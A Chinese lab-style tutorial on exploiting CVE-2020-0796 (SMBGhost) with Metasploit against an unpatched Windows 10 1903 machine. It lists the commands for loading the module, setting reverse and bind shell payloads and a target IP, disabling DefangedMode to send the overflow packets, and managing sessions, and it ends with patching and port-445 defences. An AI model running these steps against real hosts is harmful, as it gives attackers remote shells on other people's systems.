当前位置: 首页 > news >正文

CVE-2020-0796:永恒之黑实战学习

CVE-2020-0796:永恒之黑实战学习

1.背景:

  1. 漏洞名称:CVE-2020-0796,又称“SMBGhost”或“永恒之黑”。
  2. ​影响范围:Windows 10(1903/1909版本)及Windows Server 2019/2016(部分版本)。
  3. 协议相关:SMBv3.1.1协议(Server Message Block,用于文件/打印机共享)。
  4. 触发条件:SMBv3服务启用(默认开启);攻击者需与目标建立SMB连接(通常通过445端口)。
  5. 实战背景:使用kali2024.02的metasploit攻击靶机win10 1903版本,靶机已开启smb并关闭防火墙,kali和靶机处于同一个局域网,网络互通

2.原理

  1. 概要:解压过程中未正确验证数据包长度,导致缓冲区溢出
  2. 细节:伪造OriginalSize:将OriginalSize字段设置为一个较小的值(如0),诱使系统分配较小的缓冲区。​构造压缩数据:压缩后的数据被精心设计,使其解压后的大小远大于OriginalSize。​触发溢出:解压过程将大量数据写入缓冲区,导致缓冲区溢出。通过构造恶意数据包覆盖相邻内存,可能实现内核级代码执行​(因SMB驱动运行在内核模式)。

注意:

  1. OriginalSize:原始数据大小。
  2. CompressedSize:压缩后数据大小。

3.实战

3.1 运行metasploit

msfdb run

3.2 查找永恒之黑模块并加载模块

search cve:CVE-2020-0796
use 3

在这里插入图片描述

3.3 查看模块详情

options

在这里插入图片描述

注:

  1. 发现攻击载荷payload需要切换至我们熟悉的shell
  2. 需要指定攻击目标IP地址:RHOSTS

3.4 查找合适的payload并切换,然后指定目标ip地址(渗透后反向连接reverse_tcp)

search type:payload path:shell name:windows x64
set payload payload/windows/x64/shell/reverse_tcp
set rhosts 192.168.1.178
options

在这里插入图片描述

3.5 改控制模式为温和

set DefangedMode false

注意:

  1. DefangedMode的默认值为true,温和,这是一种安全措施,防止用户意外对目标系统造成损害。
  2. CVE-2020-0796的漏洞利用模块(exploit/windows/smb/cve_2020_0796_smbghost)需要发送特制的恶意数据包来触发缓冲区溢出,进而执行Payload。如果DefangedMode为true,模块不会发送这些数据包,导致漏洞利用失败。如:
    在这里插入图片描述

3.6 开始攻击(方式一)

run      # 直接执行

在这里插入图片描述

注意:

  1. 到此已经渗透成功
  2. ctrl+c退出
  3. 有可能会乱码,可以执行 chcp 65001 如:
    在这里插入图片描述

3.7 开始攻击(方式二)

run -j

#执行成功后查看方式
sessions
session -i 2

在这里插入图片描述

3.8 退出且会话继续挂后台

background

在这里插入图片描述

3.9 删除会话

sessions -k 2

sessions -K    # 删除所有会话(大写K)

在这里插入图片描述

3.10 尝试渗透后正向连接(bind_tcp)

search type:payload name:window x64 path:shell path:bind_tcp
set payload payload/windows/x64/shell/bind_tcp
set rhosts 192.168.1.178
options
run

在这里插入图片描述

注意:

  1. 跟反向连接攻击方式一致,只剩正向连接是渗透后攻击机向目标机发起连接,而反向连接是渗透后由目标机向攻击机发起连接
  2. 连接目标的端口需要目标机的防火墙开放,如图中的LPORT 4444

4.防御技术原理

  1. 关闭SMBv3服务:禁用SMBv3服务,可以阻止攻击者利用永恒之黑漏洞进行攻击。
  2. 关闭445端口或者用防火墙拦截445端口的所有请求,防止攻击者利用445端口进行攻击。
  3. 下载补丁修复漏洞:安装Windows补丁KB4551762,修复永恒之黑漏洞。

相关文章:

  • Redis + 布隆过滤器解决缓存穿透问题
  • 微服务 - 中级篇
  • WebLogic中间件常见漏洞
  • sqrt函数(豆包)
  • 【leetcode100】搜索二维矩阵
  • 整合vue+Element UI 开发管理系统
  • 浅谈布隆过滤器(Bloom Filter)
  • kotlin知识体系(四) : inline、noinline、crossinline 关键字对应编译后的代码是怎样的 ?
  • 西门子G120扭矩控制
  • 系统设计类问题回答模板
  • 平芯微PW5012应用电路
  • emWin自定义键盘布局
  • 实验一、Linux环境下实现进度条小程序:深入解析核心实现与关键技术细节
  • 英伟达有哪些支持AI绘画的 工程
  • VMWare虚拟机磁盘扩容
  • Dify 0.15.3 输入变量无法被重新赋值问题-解决方法
  • 用selenium+ChromeDriver豆瓣电影 肖申克的救赎 短评爬取(pycharm 爬虫)
  • 基于CNN-LSTM联合网络的主瓣干扰辨识
  • 三个HTTP请求参数注解@RequestHeader、@RequestParam和@RequestBody的使用对比
  • 神聖的綫性代數速成例題21. 酉空間的基本概念、酉變換與酉矩陣的性質及應用、矩陣的奇異值分解及其應用
  • 人社部:我国劳动力市场潜力足,韧性强
  • 5月动漫|“爱死机”即将回归,《明末》或是下一个大IP?
  • 上海潮汕联谊会举行换届大会,陈湖文当选会长
  • 鞍钢矿业党委书记、董事长刘炳宇调任中铝集团副总经理
  • 国务院同意在海南全岛和秦皇岛等15个城市(地区)设立跨境电子商务综合试验区
  • 我国首次实现地月距离尺度卫星激光测距